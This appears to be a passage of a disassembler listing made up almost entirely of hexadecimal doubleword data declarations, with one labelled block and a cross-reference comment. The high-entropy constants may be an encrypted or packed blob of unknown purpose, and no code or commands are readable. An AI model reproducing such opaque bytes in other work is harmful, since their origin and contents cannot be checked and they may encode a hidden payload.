		dd 7BCCB56Fh, 2B0D34Fh,	61B8C142h, 600BF073h, 0C32C21C4h
		dd 0DD3E45C8h, 2F523B8Ch, 888F82D0h, 2D1AF54Ch,	0A6DBE8DFh
		dd 95F80C0h, 24D1D9B7h,	30988C3Bh, 0A997C6B5h, 61AD000Bh
		dd 9D233A10h, 9381B7F0h, 71162B4Ch, 25409380h, 6F3A09E5h
		dd 0CADD482Dh, 91334064h, 0C5B8CFAh, 5DD2E4FDh,	0AF2C93FBh
		dd 0FE685560h, 0AFA89114h, 7CC221D6h, 0B27C4CCh, 60CA6613h
		dd 1C68ED84h, 931E81D4h, 0FE7631EFh, 47827B5Fh,	0D52902E4h
		dd 29F4B961h, 0EEEB1B0Ah, 25EB6B2h, 7CA81318h, 6A65F931h
		dd 5100CEACh, 3E5C0E68h, 0B40D64Fh, 87760197h, 763F294Fh
		dd 0B4F1B0DAh, 0F43F8047h, 0EE5613F7h, 0AAD3DEB9h, 5B0C2Ah
		dd 384AB8E9h, 0AB9B7DA9h, 0B6DA0BCh, 5B58C688h,	3EDC8102h
		dd 76685D00h, 0FCB7A66Ch, 9B945E63h, 22E90A32h,	0D4A0ADF1h
		dd 0F70BB7ACh, 0D70D5F0Eh, 4C75446Ah, 0F7681302h, 54BE364h
		dd 33E9D088h, 5CB523FFh, 0D873E299h, 0F59CCCEAh, 8A4893Ah
		dd 428555D4h, 5EFBF066h, 2E68530Ah, 0E768EF5Fh,	0D614F909h
		dd 5D7237h, 1620D00Ch, 0D4BA3564h, 0E9FC070Bh, 293DE27Fh
		dd 82096D6h, 0D14911F8h, 7114971h, 6CB908B3h, 0F34B77D2h
		dd 8DBF80B3h, 0E9724101h, 92B7C725h, 4AAE0A94h,	0E42EF6ADh
		dd 29E2D213h, 0F8010CF6h, 487F5705h, 53242F70h,	0CA4BB3FAh
		dd 920D59B7h, 352B6310h, 0A0059FCFh, 0ADCC5457h, 0FA85B455h
		dd 5D702EC2h, 1718B805h, 10AF47E2h, 0CB09A118h,	4480777Eh
		dd 4ED19BC7h, 0E186DC5Eh, 3104BC44h, 0D06B0328h, 0B2F84765h
		dd 5F1368BEh, 0BE829FD9h
		dd 71D425EBh, 29D813C3h, 8BB7625Ah, 2D5C7C6Ah, 34699C22h
		dd 26FD0709h, 0B8AED9D9h, 81C08E5Ch, 0ECED7F32h, 23FF60E3h
		dd 0AD7C9DEDh, 93DA2789h, 48FCEAA8h, 7FB15148h,	0D1205492h
		dd 0D5F73995h, 42892DBDh, 0ECFF3BC3h, 0EDC11255h, 0E9F80302h
		dd 0EEEDD260h, 277F0087h, 54895321h, 5CB44066h,	1EC005D5h
		dd 0F4990E42h, 82CD4D29h, 0E3ED8F9Fh, 0ED4B0F65h, 950D0776h
		dd 2DB83C78h, 4836F160h, 12514E48h, 0AA167297h,	8065DA5h
		dd 0FD14821Ch, 6D51B230h, 1A8F3EE1h, 402EFB40h,	0EBBC5FFDh
		dd 4A0B0904h, 0C97AB81h, 27E82507h, 0A406D22Bh,	0D0BE5804h
		dd 86CD1116h, 2FC6760h,	0C0796F23h, 0D6624D0Ch,	0F14B010Ah
		dd 0D05D499h, 0F930D2EAh, 415F326Ah, 976A7B37h,	4FA0D2AAh
		dd 4796967Eh, 448830EAh, 0E34CA32Dh, 17E90BECh,	60C2DC32h
		dd 442B34C0h, 0FD295EC9h, 45BDA5C4h, 0AB48919h,	101F9E10h
		dd 43B17C4h, 9962E2BCh,	1F44C77Ch, 6EB6F212h, 0C0845EB8h
		dd 0B51080EFh, 0C5398055h, 25ED8718h, 4C8ECDFEh, 2DAF163Bh
		dd 9E5DEF28h, 0CF772FC6h, 82490F74h, 5F0B70A3h,	189BA918h
		dd 8BE41895h, 0F332D7DDh, 4F384935h, 40928CE6h,	0E6581B5Ch
		dd 0E724C145h, 35108605h, 2F9D0176h, 0E82940EDh, 0CB07472Dh
		dd 7CB4FBD4h, 71276FBh,	1755D1B0h, 0DD5CE039h, 5B7BA100h
		dd 0B34A9F2Dh, 0D8012427h, 7A20038h, 0E2812FA0h, 93058C05h
		dd 90EE4244h, 0CCAFDF71h, 0BF00D37Ch, 2D38E53Bh, 16DD127Ah
		dd 0A04BE949h, 721FB80Dh, 4800814Ch, 20057B0Dh,	6830E733h
		dd 89F817AEh, 2BD50BC6h, 1FF03EC4h, 0C50920B5h,	2727DB3Dh
		dd 0A277294Bh, 579D8944h, 68137C4Eh, 42603A5Eh,	9CB0D86h
		dd 0E839E975h, 814711F7h, 7138A7CCh, 0BA0CC018h, 0E91E714Fh
		dd 0BFCA832Ch, 0D98190C2h, 0DF870323h, 876D3F7h, 0E4723C5Ah
		dd 28D119C4h, 28250233h, 0E0579048h, 9B34EC0h, 0C6012694h
		dd 81C5C5FFh, 7CFB19D6h, 80F01229h, 950E6CC5h, 0DAF72767h
		dd 0E941F1F9h, 412B7BDDh, 81EFE7Fh, 7A44316Bh, 809CC7E0h
		dd 0BE98CD21h, 26E48A4Ah, 34B74BF6h, 5A8CEB60h,	0A9EB0380h
		dd 0B652C328h, 0DFC5FFACh, 0E9097F9Ah, 4A1A8C8h, 0E5F987D9h
		dd 0FBE2552Dh, 6643044h, 0C0596600h, 801F07EBh,	495F3AF3h
		dd 2D03DB6h, 21623558h,	0C5000BBDh, 9D3E3B31h, 73596CCh
		dd 84EE0610h, 5ACEEE5Ah, 0B0B8817h, 0E178C0FBh,	0BD554B01h
		dd 428A4675h, 0D601D270h, 3F13B12Bh, 0BF396D04h, 790BA2FEh
		dd 29F4A530h, 0DE412CD8h, 0C5C4CB86h, 602D6F66h, 54A85A88h
		dd 4C0187BAh, 2100B5D9h, 5337D34Ch, 81675BBh, 1B8044A5h
		dd 0B0357033h, 4C27012Fh, 43E92AADh, 5E47685h, 37B32897h
		dd 3422BBB0h, 0ACD62E36h, 0DA3503E5h, 0D1104219h, 3B84268Ah
		dd 0C25855F5h, 387C4148h, 16D1C150h, 0AB1BAF47h, 0DA18F3CFh
		dd 0B4C62F0Ch, 0F6EA3110h, 0E0D8F32Dh, 0BBA15E50h, 0DA23323Ah
		dd 0BD4FA6F8h, 0E90B4012h, 0CC976F4Bh, 9BE07D5h, 547C0155h
		dd 0D1D5C464h, 4EE80185h, 603DDA07h, 7AADE24Fh,	0FF2ED1E6h
		dd 0BA108530h, 263EFE73h, 2F49198Fh, 0F24CFC5Ah, 59AF1DF3h
		dd 0C79581BCh, 0D10920E2h, 6CB806Fh, 6F663E6Bh,	605A10A6h
		dd 2DF7C849h, 7CE65747h, 6C921D17h, 5F1B8501h, 813B4616h
		dd 0A7DC3581h, 63C0FC7Ah, 0E1025551h, 174B8EAh,	0CDE7804Eh
		dd 0B57FEC5Ch, 4502F4D0h, 0EDE909B7h, 0C868A9B8h, 0C4B9A968h
		dd 0E31A6858h, 9C6B7DA0h, 2BAEFD1Bh, 7C141560h,	0F80089EBh
		dd 0BE56405Fh, 149E9CCFh, 4CF0290Dh, 0E289D32Fh, 0A0FA477Dh
		dd 73767687h, 0BD6B9866h, 0E30311FAh, 5E2F03E2h, 0BB9CCCD1h
		dd 60105BCh, 0D5F8E902h, 0A2C7F240h, 0E662833Ah, 6F84C106h
		dd 0A5F39B8Eh, 0BE260805h, 21C79640h, 994E3A1Eh, 241169AAh
		dd 0F7176A1Eh, 5A89FDBDh, 7AF27656h, 892CB34Dh,	0A7F131F6h
		dd 3BCCF89Ch, 160CD023h, 16DCC4DBh, 2B0ACD87h, 0E53604CDh
		dd 4868E982h, 8EA0E575h, 0A05D5112h, 5A2EDB17h,	0CDB42C84h
		dd 0EB632EE9h, 0E4DEC221h, 4EE59CDFh, 935A4966h, 3442F48Bh
		dd 0A769F17Fh, 749E98F7h, 0EC6E9AB8h, 68E1A80Ch, 0AC471369h
		dd 115CE652h, 0A44F105Fh, 0E1412EF2h, 8C2B47F9h, 0D939883Ch
		dd 89CBBA53h, 685B871Ch, 813C937Ah, 0A9FC7B58h,	44F55C89h
		dd 0BD4B20F0h, 0D0EE8103h, 0D90BCD28h, 0F32B318Ch, 0F1A41058h
		dd 8D7F616h, 0B40BEB2Eh, 117F05BDh, 99270B8h, 0D429EA5Dh
		dd 0D8F7A280h, 0B00C70Dh, 342D0330h, 0F91B414Eh, 16A605FCh
		dd 0AB14F05Eh, 9CA83856h, 1275CB8h, 27487BF3h, 64A23C93h
		dd 4A0C9A08h, 182D0C74h, 20E33228h, 6681845Ch, 3029761h
		dd 0B2DB4181h, 3FA65EEEh, 56E02D8Fh, 3F5B05A3h,	16F086E4h
		dd 1EF00FDEh, 0DEDB4EE9h, 2040E8EEh, 0D6909F38h, 9892A0EEh
		dd 6866AC07h, 0C94B73C9h, 0C360B5BFh, 0F6831DC5h, 3DED4BDDh
		dd 9D68104h, 74335254h,	0A2669D8Eh, 0E36044F2h,	8652C12h
		dd 376658C2h, 7B0EB419h, 3A1D35E1h, 0BAD30CE9h,	0A84ACACAh
		dd 5A3C002Fh, 0C8BD667Ch, 998304A5h, 957F78E9h,	0C0FF847Fh
		dd 8E0BF781h, 0F6091E2Fh, 0ED40C9DEh, 0DE4E741Ah, 4E1214EDh
		dd 34056B5h, 0DA28F936h, 976B48D9h, 8CAF5C16h, 5006EE93h
		dd 0C228FAB0h, 0AEC33B32h, 0BEE9D304h, 30071373h, 0E41D7B19h
		dd 0C53E5831h, 80F0BBC5h, 0D328E9E9h, 0D30CB85Eh, 43C6971Eh
		dd 38C4F90Eh, 0EF1F75C1h, 0E14CBB41h, 4C290840h, 175F71F1h
		dd 52EA952h, 9E0C0836h,	542786BEh, 7F15BF01h, 5A577C05h
		dd 0D1A1AD3Ch, 0FA5C70E2h, 0B0DBF780h, 0FE2225C6h, 252EE391h
		dd 6FF0301Ch, 693A7504h, 0C484CE29h, 56590805h,	0AA09F585h
		dd 166CD7FFh, 6929DF4Ch, 0F1DF8BCh, 353F45A8h, 0AAF2127Dh
		dd 9979469Dh, 0C9DCA797h, 5A64F534h, 0F8BF84C9h, 2E41F40Fh
		dd 3BC89B2Ch, 0B7530074h, 90E78086h, 0F94B07E9h, 0C1AF86D5h
		dd 6B8F6E2Ch, 0E01A3EF3h, 0B95510DDh, 0D17825EFh, 33D1DEA1h
		dd 26A4D302h, 547E4007h, 6861209Eh, 0A32B35DFh,	0F1704EC8h
		dd 9A0149E9h, 58B825C1h, 8D4959F9h, 0A26A5D50h,	2981414h
		dd 363C81B8h, 5EED0339h, 0BA0C163Bh, 0A95B52DAh, 0F7E086A9h
		dd 6CDECD9h, 5A1CE449h,	86FEA4D1h, 0EE6D0317h, 415ED1B0h
		dd 38FC3A61h, 5B3F7CFh,	0BF380929h, 40404D9Ch, 2303B1B5h
		dd 28F8C280h, 0AAEAABCAh, 66C34359h, 6AE1D16h, 0DEB6FA5Fh
		dd 294A5A62h, 406172C6h, 0E2285728h, 0F8CE4ABAh, 0E1C5E1CAh
		dd 55E2DB81h, 0D8774935h, 371226CAh, 0E2011F07h, 153D675Ah
		dd 78C50C82h, 6C726AA0h, 1FB03F00h, 0E9D10199h,	7A8BC17h
		dd 329FE280h, 0A6036F2h, 0C3E0595Ah, 0ED88E930h, 0EE40Dh
		dd 25480CAEh, 265A42FCh, 47A02D05h, 389027DFh, 5E2ABB61h
		dd 56DDB3FEh, 5CB580Bh,	40F026F2h, 642C6EBh, 0E943071Eh
		dd 7C0609AFh, 0FEE9D8E8h, 115349h, 516684B6h, 0C4F6F188h
		dd 0D7F3A0CEh, 0B9AFBF7Dh, 0B493554Eh, 0FC5DB41Bh, 5352670Fh
		dd 0E383FEA3h, 0FA17A4B7h, 0B44E8861h, 4422B800h, 4857B507h
		dd 0D0709D0Dh, 7AE0C150h, 0F2BF0405h, 0BF6D417Bh, 3E5C3C14h
		dd 54DF141Ah, 46E800D1h, 0EAD17BC2h, 6569542h, 0B2778300h
		dd 663FE9B9h, 7116D901h, 4C090298h, 0D60AAC3Bh,	617840E8h
		dd 294AC648h, 6A07C1A9h, 92A11CA6h, 6AF959CBh, 68525185h
		dd 674E3781h, 0E2109B62h
		dd 575B00F4h, 1DA06855h, 0B9094ABEh, 38ED807Ah,	26F2CCFFh
		dd 39E7EF89h, 0AEC76787h, 0F4F7F6ADh, 1694216h,	0AC2BC0F1h
		dd 6A86B23Bh, 3005F665h, 699E8F56h, 8129C61h, 142A8DE9h
		dd 0CEF17236h, 0C5563245h, 95F4DAEBh, 0B52F4DB4h, 6AD8E15Eh
		dd 98FF9495h, 0DA412685h, 0E812893Fh, 6880281Fh, 453707B7h
		dd 70505B6Ch, 6BC0162Eh, 71355800h, 89AEBB4Dh, 136CF1C1h
		dd 9D032350h, 351FFC64h, 5112E547h, 0DC936AFh, 0E9CA870Bh
		dd 0B2E3A03Dh, 9FDAF64Fh, 97EA24A4h, 0BCC304B1h, 5854A044h
		dd 39BB053h, 674D4043h,	0B5B47BBh, 0B37FC5A1h, 76411367h
		dd 7C34F662h, 0F49C0D1Dh, 0C4787Ch, 0C028CE80h,	60F606E6h
		dd 0E90A10D6h, 3ECB21A4h, 0E207D209h, 5D0F3F6Ah, 0FFBC7217h
		dd 0A0047F21h, 90664860h, 7628ECBCh, 9F2E90F0h,	20B2067Bh
		dd 0A72DC1D4h, 0F17D8705h, 3FBF70C2h, 0CD3B52A1h
dword_4E414C	dd 0E1E50230h, 0A9EF8001h, 9FA0DA70h, 0D74824D2h, 0E50A5B5Ch
					; DATA XREF: ___:off_42DE44o
		dd 4649725Eh, 0E472FB59h, 0BB686E25h, 2D02FDF6h, 368565Fh
		dd 7F214813h, 0B1D99F78h, 0CB2E2C42h, 0D5FCA5B6h, 509F0C20h
		dd 0DCA7816Ah, 974EFEB8h, 1FDF92BDh, 7762D2FEh,	64740997h
		dd 29152F0Fh, 0F96A8428h, 9D886809h, 43B860F3h,	54CC007h
		dd 0C4BD2569h, 5AD6F0AAh, 0A18EA93Eh, 0DD2FB202h, 5BE16096h
		dd 33C16695h, 0E3110565h, 66469205h, 90BF3DB5h,	863FAE16h
		dd 3A493A3Bh, 0F8905A11h, 4E060DE3h, 6867021Dh,	0E9010A6Eh
		dd 0DC2C2096h, 6ECB39C7h, 96775CEBh, 4CC7B089h,	0EF80B7D5h
		dd 5E975DD8h, 72C7293Ch, 69DD08A2h, 0F62B5CDBh,	0D7499A3Ch
		dd 5D213644h, 0CABD45h,	6FD705DEh, 2D045BBDh, 0B17D3672h
		dd 0EBD2B0EAh, 0E9F469B7h, 50946F31h, 0B026ED57h, 3075AF35h
		dd 0B7F2E0ADh, 5214ADA2h, 74E912D4h, 0A5454A97h, 22DD4BB2h
		dd 5CC88A41h, 2FEE8890h, 6CEFDA3Fh, 0A55AE9A8h,	6BEAF00h
		dd 0D3F69A7Ch, 0EF0F2014h, 0EC3D0E43h, 630BA545h, 0B0F7A916h
		dd 0B818FC2Bh, 0C7B9453h, 0D63CC383h, 1BC8E895h, 0A4189F1Eh
		dd 0C81CFEAAh, 0E85DD0F6h, 0E056C09Ch, 29ABA609h, 17F7F6F9h
		dd 0AB90AE55h, 241894B9h, 134710Ch, 137D9A92h, 8FEC3E01h
		dd 0F3E8B005h, 0F5D7822Bh, 0FDF98802h, 123CAAD1h, 7FA359CEh
		dd 3D5B4C77h, 965CF61Eh, 9198FA01h, 0DE445488h,	3ECAB0F9h
		dd 65BC4E2Ah, 2F9D8B4Bh, 45895F68h, 0A3FF9405h,	2DFF9624h
		dd 25B07A44h, 0CF2B9DF9h, 4092835Fh, 0BCE0DD02h, 2B9A3F8Fh
		dd 416D824Eh, 840F4BE2h, 0C295920h, 0ACE5B51h, 0D46883DDh
		dd 0E4895E63h, 0BD5E551Ch, 0C1BEC994h, 2EF53152h, 0D84AB8B8h
		dd 0EEBFC18Dh, 9CC2971Dh, 87C5D97Fh, 0ED866E9h,	2C556012h
		dd 0C8752870h, 664A59E8h, 932F9BE8h, 0B7538901h, 7DCFE408h
		dd 0CA05FE95h, 2848850Dh, 24F2EAC7h, 0F91CE290h, 0BACFD753h
		dd 1C8D3412h, 90EAC0DCh, 49692C21h, 4DBA42E7h, 8B9AE755h
		dd 694B81Ah, 643CFC9Fh,	2C31AAFBh, 0B6BB2E9h, 2D968F7Fh
		dd 80C3C22Dh, 0B97088AFh, 2C8B84Bh, 1A5C0777h, 58E0E2C1h
		dd 22413F2h, 0ED41A0C5h, 0E16C3B73h, 32253948h,	0AB9D37E6h
		dd 1704DF08h, 0A60112CEh, 79276DD3h, 128E272h, 588CA25Fh
		dd 0BF1E812Ch, 6FFF8241h, 613003Fh, 0B068B663h,	0BCF3474Ah
		dd 60164E48h, 1778CA34h, 4EA47868h, 2011416Ch, 65744697h
		dd 98A8D6B9h, 22391327h, 0D7270D3Bh, 0DA5B4394h, 31FB0A64h
		dd 80CBFC24h, 957DF3E5h, 5F316BA1h, 565128DEh, 1A3E809Fh
		dd 0B550D53Bh, 7023162h, 94DF95E9h, 5E99F6BEh, 0C09EACE6h
		dd 8255ABC2h, 568962Dh,	17AA50Bh, 8E4804DCh, 0B30C8253h
		dd 7F573C5Eh, 38784441h, 0D907D8Ah, 9532E60Bh, 6EE8879h
		dd 0A59FE90Bh, 0FCF15F0Ch, 0D20AF96Fh, 7DD7DB0Bh, 0E3C18013h
		dd 0E523929Eh, 95307F38h, 15D7B089h, 0FD3138A0h, 2E10F862h
		dd 0ACD3744h, 34B70116h, 0ECC7884Bh, 16C9A39Dh,	0E8BB03B5h
		dd 74381C59h, 1C55251Ch, 0ADEF206Dh, 312FE5B0h,	0B105FBC8h
		dd 6FF7866Eh, 572DDCA7h, 17B096F5h, 37C4F4E9h, 0AB36823Ch
		dd 8902CC45h, 0F55D5BDFh, 657FFB8Bh, 5561CC6Bh,	6574FF4Ah
		dd 0BDC71C2h, 0AC8102DDh, 541E9ADFh, 256F072Bh,	82D71B5Eh
		dd 0F7F4FDD6h, 0E0977366h, 0E17B8D51h, 0D776BD3Fh, 3CA245BDh
		dd 0F25A62DEh, 6915255Eh, 268D09F1h, 0BD3E452Fh, 38E202E1h
		dd 30D7319h, 0C8A112Ch,	2FC1FB7Dh, 0C5293880h, 566447E9h
		dd 0BCACD067h, 0C13B1h,	264670BEh, 0B2D197Ah, 97FA0772h
		dd 0A7493E04h, 3E814E43h, 76F0AA86h, 0EA895E55h, 10FB7314h
		dd 0B55AEF2Fh, 810880CDh, 944486C5h, 4AF3903Ch,	0C1E04BBBh
		dd 5390C00h, 0DC2451A5h, 5C6B002Ah, 0B0461705h,	0D23E2DF9h
		dd 0D0E873Ah, 44B76325h, 0FFBF8CF7h, 0C2E2F4EFh, 0B446D0Fh
		dd 480EF30Bh, 8210DA15h, 479CF408h, 0E8076554h,	0E3BD02EFh
		dd 7726100Dh, 0E205C570h, 1D26159h, 605CB503h, 0C4EBB4C2h
		dd 6D60FFACh, 0DD750CE9h, 468BBF79h, 0C7F625A3h, 6AAE3204h
		dd 0DA6E0DAFh, 34D72027h, 4B8AA40h, 39707D3h, 605FBB29h
		dd 75FC0D45h, 218071C4h, 13C1053Bh, 0E31BE961h,	1E52306Eh
		dd 904001F6h, 55EE2048h, 0FF985B5Ah, 5FD258B6h,	84B4FAF4h
		dd 4A5E0B50h, 4170F702h, 4F4E2F1Fh, 19092157h, 2C0A0746h
		dd 9B1F0505h, 64BBB53h,	8785FDD1h, 0F920FEDFh, 94E11D6h
		dd 55685F4Bh, 84E9AEE0h, 0D66D0BB5h, 198F20ACh,	0A2A634CDh
		dd 0BDD981D4h, 76C822FDh, 8B2DD13Ah, 11DD2BCDh,	66B41888h
		dd 0D2D29327h, 0D6286A97h, 6BA743F2h, 0F7D8EB2Dh, 0B50C3318h
		dd 0B3E4E913h, 0C45805F4h, 1F5EB4A9h, 0DBF6CB47h, 773C14E2h
		dd 0B8398798h, 525868C7h, 83F1A174h, 10ADF63Fh,	0AF4ECF8Ah
		dd 0B4E80473h, 4D498EFEh, 1FA309DBh, 6F00DDFEh,	0C7A7F17h
		dd 0ADA22979h, 13550809h, 50A7EB8Ch, 9CA4319Dh,	0A1483857h
		dd 0ED502B13h, 0DBF30F6Bh, 9F7FCFFDh, 7726C95Ah, 33C6A248h
		dd 8EC43BF3h, 4E999D01h, 0DC90DAF7h, 0C90A7DE3h, 0DD931735h
		dd 0D2F72780h, 0D6CD31CCh, 6BBA0F8Dh, 2CA2232h,	20B0EC70h
		dd 5A1EF076h, 0F46DB82Ch, 0F6C760F4h, 6B5E2E6Fh, 80156B5h
		dd 0BC2E27E9h, 0DE099E95h, 0B262597Bh, 0E4704B70h, 0E3193395h
		dd 5E89275Bh, 0AA270158h, 3EA56664h, 393062CFh,	79E958BBh
		dd 0A5A878EFh, 1F55C1B0h, 807BE025h, 4128EFF1h,	0AB2DE907h
		dd 286F47F6h, 452B09CAh, 3C80289Fh, 1E093086h, 140E4361h
		dd 9970AF3Fh, 309C4161h, 8DD23CB7h, 0FF14E16h, 0A802EC6Eh
		dd 2C00B7D1h, 1CF3637Ah, 25BF425Bh, 0EB60FF91h,	5ADC49D1h
		dd 200CF153h, 0F860F617h, 0D62D5F28h, 839E2684h, 0A0A92542h
		dd 16C0C104h, 5797AC06h, 0F8C21A81h, 28BD448h, 24CA4040h
		dd 270F3418h, 0EC7C2A90h, 6E91037h, 0DC6812C6h,	0EBEB3B98h
		dd 45D8870h, 136F882Dh,	0F93CC003h, 0C0979658h,	2F1B7BAFh
		dd 0B3C017DBh, 384E7129h, 9017EA0h, 3FDFE9E8h, 5C71D3D4h
		dd 3BAFB12Eh, 0F84EBE5h, 0AA916257h, 0E634AB0h,	1568A33h
		dd 0A2C2AF0h, 0D0B7E925h, 0C7F1952Fh, 4B2C8CEh,	0BAC86852h
		dd 9FC495D8h, 165D9642h, 5FC3FE4Fh, 446BCA68h, 0D75B28FEh
		dd 68821FF9h, 56C46F4Bh, 205E8F83h, 0D7DE78B8h,	9423BF12h
		dd 45F8E0BBh, 82BEB201h, 0BD096408h, 0E90980C7h, 0B6462352h
		dd 466EB9ADh, 0FED8F393h, 94BD8916h, 6006EE5Fh,	0C70D529h
		dd 8011715h, 96F5311Ch,	88E65EABh, 64714170h, 18028B20h
		dd 5A567B5Ch, 2C1E405Eh, 720E5805h, 106EA12h, 7819DB31h
		dd 2B6B3407h, 68A948B7h, 0BD4470E1h, 0ED50ADDCh, 1D4517CFh
		dd 0D130015Ah, 202B4052h, 0E9120678h, 60D147EAh, 937C787Eh
		dd 0E229288Eh, 0D004BD47h, 0AA9572E9h, 4A1092A3h, 3A802E56h
		dd 59CF0438h, 0E388F820h, 21E8601Ch, 0B450A4E1h, 7ACB644Bh
		dd 2E934173h, 8ED6A00h,	0FA0E1133h, 0BAEA4EA9h,	2FB2D82Ch
		dd 0E987D099h, 2EB3086h, 3BF1D328h, 40908EE0h, 0BB9057A2h
		dd 391C4601h, 51D7F75Fh, 0D7D656FDh, 30B39C6h, 448D026h
		dd 0C10C52B5h, 0E35FD152h, 0D50BA41Bh, 2CC3CD01h, 476069E4h
		dd 1D430DC6h, 2F0C5DBBh, 5FE9ACA4h, 0FFEF1647h,	7868BE70h
		dd 2AD9B72h, 3D105214h,	0AD883E5Ch, 276805B1h, 9E92FD09h
		dd 0D5060B89h, 0FFACA16h
		dd 0D1A33E4Eh, 0BC10DB3Ah, 15A30543h, 1CBE278Ah, 0C03F8986h
		dd 6A8230D4h, 0C00CEB3Dh, 2C4C6145h, 0FB54082h,	0D1D221E9h
		dd 2F28976Ah, 5FC70724h, 2890994Dh, 0C2801F84h,	4EAC007h
		dd 169882F9h, 82870934h, 0D0EB8FA8h, 42C0A05Dh,	0E66BCE80h
		dd 887F02C6h, 47345AF0h, 0F5EFC275h, 0BBA84883h, 0E7F2A904h
		dd 9F80C425h, 27FD56C2h, 0C1D08008h, 0E3AC6CFEh, 2C9B59B5h
		dd 0DECD3812h, 9D616E15h, 0D6631783h, 0C3CE3E02h, 41463672h
		dd 0C029D10Eh, 0E07BF925h, 439EB43Ah, 42441EAEh, 30A175F7h
		dd 0C2EE87F7h, 662F8888h, 537956A8h, 0E656EA04h, 90BE5B1Fh
		dd 7FE908F5h, 0A4A4215Fh, 3F0B62A7h, 87F634B3h,	2205560h
		dd 0D9799737h, 0E149CBC0h, 68503965h, 721F7B80h, 76162558h
		dd 563B05F6h, 0D2529FBEh, 0F5B22153h, 0A2F9F112h, 0A67F8506h
		dd 2CEA9913h, 0C540BCEDh, 446B0B2Dh, 4A01740Ch,	60DE3AE6h
		dd 0A85BC345h, 632A8CCDh, 5B7B52EEh, 0B8E35Ch, 51C05F0Fh
		dd 5F834A42h, 0F61780C2h, 0AE763FA0h, 595EEB01h, 0D3010CCDh
		dd 801BB21h, 722849E9h,	6E28817h, 0B7CCD65Dh, 615A88B0h
		dd 3EB68D8Ch, 0EACA4E08h, 804AF649h, 0B41184B8h, 0A949860h
		dd 2C3C6EE7h, 0ED620196h, 0E3E9BB40h, 0E8170EB7h, 0A8A2B183h
		dd 0CBE94F6Bh, 0EEB8AE04h, 0E04E9FE6h, 2820644Ah, 19ECE0CCh
		dd 2AAF8DE9h, 7AF26B56h, 42D15D26h, 1055DFC4h, 2578FE2Eh
		dd 0BDC111F3h, 205C01C6h, 78B5B742h, 716813E7h,	0A022ED4Fh
		dd 7DDDB951h, 0F73D1448h, 0CE09DAD1h, 54877767h, 8B7E39E7h
		dd 4584582h, 7C69F748h,	79933570h, 0EC5673A0h, 233B7BADh
		dd 1AA150F6h, 0C717400h, 0E940D0F7h, 8AC65ECBh,	59CE046Bh
		dd 54A23487h, 185E6804h, 0D74DC1B7h, 0C9256AACh, 55454081h
		dd 8E7C100h, 0E80C5198h, 0E2903C4Ch, 0E5332CD9h, 0EE871D14h
		dd 71DAE84Fh, 8DDAFAE0h, 0DFD99825h, 5C971F96h,	42C78E4Ah
		dd 13739460h, 5A7AF71Bh, 2AE66816h, 19E9BE60h, 0C16109FFh
		dd 0DE5606E3h, 9986809Fh, 17360953h, 0EAB8B3E9h, 86685C71h
		dd 0F82F3765h, 8653F4F3h, 208052E1h, 2FB4FC8h, 0B62AE94Bh
		dd 0BEECB2E1h, 0BF60DD60h, 5F4574CFh, 7565EA5Ch, 183084FEh
		dd 26E9F90Fh, 0B530D840h, 0CC2A92F0h, 0F558D67Ah, 34CB07C6h
		dd 14D33238h, 0C6AD3BE4h, 0D64088AFh, 641268B9h, 33C1798Eh
		dd 2D008B62h, 3E2618ECh, 133EFA4Eh, 74EEA9EEh, 2AA6FF04h
		dd 133EF95Ah, 854187F2h, 7FED578Fh, 95EB5D70h, 0ADBD2353h
		dd 2D57D633h, 5972B1DDh, 9EBCA33Fh, 569410E7h, 0C0149DD1h
		dd 896C79F7h, 888A617Bh, 0C3E7DFEEh, 7FE6A6B9h,	5D76E22Dh
		dd 0B48826CEh, 0D782A3FCh, 2851EE60h, 0FEB7607Fh, 2DD521D5h
		dd 524230F3h, 5602908h,	45971870h, 0A8570BE9h, 0DF1866DDh
		dd 0A5461D04h, 385AB839h, 20E64ECBh, 0E992A4D7h, 0DF680709h
		dd 1C00B173h, 0B1E53C41h, 0BE8D5903h, 13B0FC0Eh, 4F3B9AFBh
		dd 47B504FAh, 685100A3h, 4B817675h, 2A34FE60h, 985F2CEFh
		dd 26530502h, 0AB90F4E9h, 2F2A01BBh, 5AD9F530h,	0C575072Eh
		dd 0FBEF953Ah, 198317C5h, 81EFF5C7h, 5A4E4B3h, 0ABF73B21h
		dd 59CB6589h, 61D73080h, 5BFC2788h, 98FBBB44h, 0ED40077h
		dd 0D8F71FA5h, 1C023540h, 0E9D34AF1h, 200B5F0Dh, 0AFDBED77h
		dd 65C4B157h, 6317F866h, 2DE56078h, 7D78F245h, 0CF98E95Eh
		dd 0BB26EC68h, 59A9026Bh, 0C3F749C6h, 5CE62403h, 671280D4h
		dd 7BA4074h, 0D91EE012h, 635B40BCh, 0ACD4E20Ch,	0E366C96Ah
		dd 2EBFA0C9h, 5F31F075h, 0B7C53FEh, 0CB5A74C5h,	0A469A30Fh
		dd 0E50B6596h, 707DEADh, 0B346D6F7h, 2C024B99h,	1E2F13BBh
		dd 873683Dh, 83C5945Bh,	1B667748h, 42E11B4Ah, 8040C09h
		dd 0A78D2117h, 7BE96F58h, 0FF1897ECh, 1ABD7A66h, 6AF8F75Bh
		dd 0A1272A2Bh, 0C333EC00h, 6751E912h, 0B581AD9h, 1D611BCAh
		dd 14D56E19h, 708DD501h, 50F56D25h, 9016EC6h, 0DEF602C4h
		dd 4BB1F653h, 0DA6A87FCh, 312F1054h, 4A5D6800h,	52591AFCh
		dd 0C2979CF8h, 58EAFECEh, 7B955CF9h, 0BC6212D0h, 0A6E25F8Eh
		dd 64FCB5B5h, 45BD04A3h, 92780AFCh, 701340F7h, 9AF63C0Fh
		dd 4E4AD29Dh, 930EE30Ch, 0D5F4F625h, 0CB2BB75Dh, 8042DC2Eh
		dd 0C6D716CEh, 0B12CF17h, 88E3449Eh, 83411DF3h,	5208EBC0h
		dd 823EDEE9h, 0DC703A4Eh, 2EA5BA00h, 0EA810D43h, 1F1D128Eh
		dd 0DED80125h, 3FA4A6AEh, 25E94BE0h, 7E3A19F6h,	0C5DD874Ah
		dd 802D141Bh, 93A5EAC5h, 0C9B9C738h, 85113C0Fh,	0CBFD63EBh
		dd 0F77C91A4h, 9E6EC4E9h, 0CBF33BE1h, 5A498510h, 91C74C98h
		dd 6747271Ah, 128CE904h, 0A89751A3h, 744C8602h,	685A0BE1h
		dd 9451404Eh, 5B147C8Ah, 1CB3FFAFh, 0A2E3F90h, 138E9F8h
		dd 0BF578041h, 40486146h, 64CF0481h, 0BF10436Dh, 0C6FB5A4h
		dd 4F0E5163h, 640BDAC2h, 0C829490Ah, 274D0178h,	1FF46876h
